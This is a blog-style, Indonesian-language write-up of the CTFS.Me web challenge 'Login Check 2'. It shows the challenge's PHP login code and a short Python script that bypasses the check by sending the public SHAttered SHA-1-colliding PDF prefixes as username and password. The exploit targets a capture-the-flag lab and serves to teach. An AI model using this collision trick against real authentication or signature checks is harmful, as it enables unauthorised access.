CTFS.Me Write UP Login Check 2 [Easy]


Assalamualaikum Wr.Wb...
dengan diberikan nikmat dan rezeki dari Allah SWT, saya Mr.GagalTotal666 akan
sedikit berbagi kepada anda tentang soal CTF Login Check 2.

contoh soal dan kategori soal

[+] link soal : [http://128.199.190.190:1332/login_check2/]
[+] kategori : Website
[+] judul : Login Check 2
[+] point : 80
[+] level : Easy [Mudah]

Are This MORE SECURE?? Login check2

buka dan menuju login check 2
setelah itu akan ada menu tampilan login seperti ini


mungkin bagi anda yang masih awam atau newbie
sama seperti saya ini, pasti kebingungan setelah melihat
tampilan awal cuma menu login dan tidak ada langkah-langkah nya
harus di apakan, nah anda cukup klik nama login check 2
yang terdapat di atas menu login dibagian tersebut ada cara
yang harus anda berfikir keras dan menemukan bagaimana
mencari login masuk dan mendapatkan flag


<html>
<head>
<title>Login Check 2</title>
    <link rel='stylesheet' href='style.css' type='text/css'>
</head>
<body>

<?php
require 'flag.php';

if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print '<p class="alert">Your password cannot be your usernname</p>';
    else if (sha1($_GET['username']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        print '<p class="alert">Wrong password.</p>';
}
?>

<section class="login">
<div class="title">
<a href="./index.txt">Login Check 2</a>
</div>

<form method="get">
<input type="text" required name="username" placeholder="Username"/><br/>
<input type="password" required name="password" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</section>
</body>
</html>

lihat baik-baik di bagian line ini

<?php
require 'flag.php';

if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print '<p class="alert">Your password cannot be your usernname</p>';
    else if (sha1($_GET['username']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        print '<p class="alert">Wrong password.</p>';
}
?>

password yang di SHA1 Decrypt

jika tidak (sha1  $_GET[username]) maka flag di temukan

else if (sha1($_GET['username']) === sha1($_GET['password']))
      die('Flag: '.$flag);

sebenarnya cara ini dimudahkan nya dengan upload
suatu format pdf 2 kali, hampir memungkinkan untuk
membuat dua file PDF bertabrakan dan mendapatkan
tanda tangan digital SHA-1 pada file PDF pertama yang
juga dapat disalah gunakan sebagai tanda tangan
yang sah pada file PDF kedua.

Dua file PDF yang berbeda dengan checksum
yang sama tersedia di sini

[http://shattered.io/static/shattered-1.pdf]
[http://shattered.io/static/shattered-2.pdf]

langsung saya membuat suatu script dari bahasa python
dan script ini mengambil nilai dari pdf pertama sebagai
parameter "name" dan pdf kedua sebagai parameter "password"

#!/usr/bin/env python
import requests
import urllib2
admin = urllib2.urlopen("http://shattered.io/static/shattered-1.pdf").read()[:500];
gagaltotal= urllib2.urlopen("http://shattered.io/static/shattered-2.pdf").read()[:500];

r = requests.get('http://128.199.190.190:1332/login_check2/', params={'username': admin, 'password': gagaltotal});
print r.text


save dan kemudian jalankan seperti ini

$ python (script python)
$ python gagaltotal1.py

atau bisa juga seperti ini

$ chmod +x (nama script python)
$ chmod +x gagaltotal1.py
$ ./gagaltotal1.py


Flag ditemukan !!

mungkin itu saja mengenai soal CTF yaitu login check 2
sekian dan semoga bermanfaat bagi anda semua

Wassalamualaikum Wr.Wb...

Post a Comment

0 Comments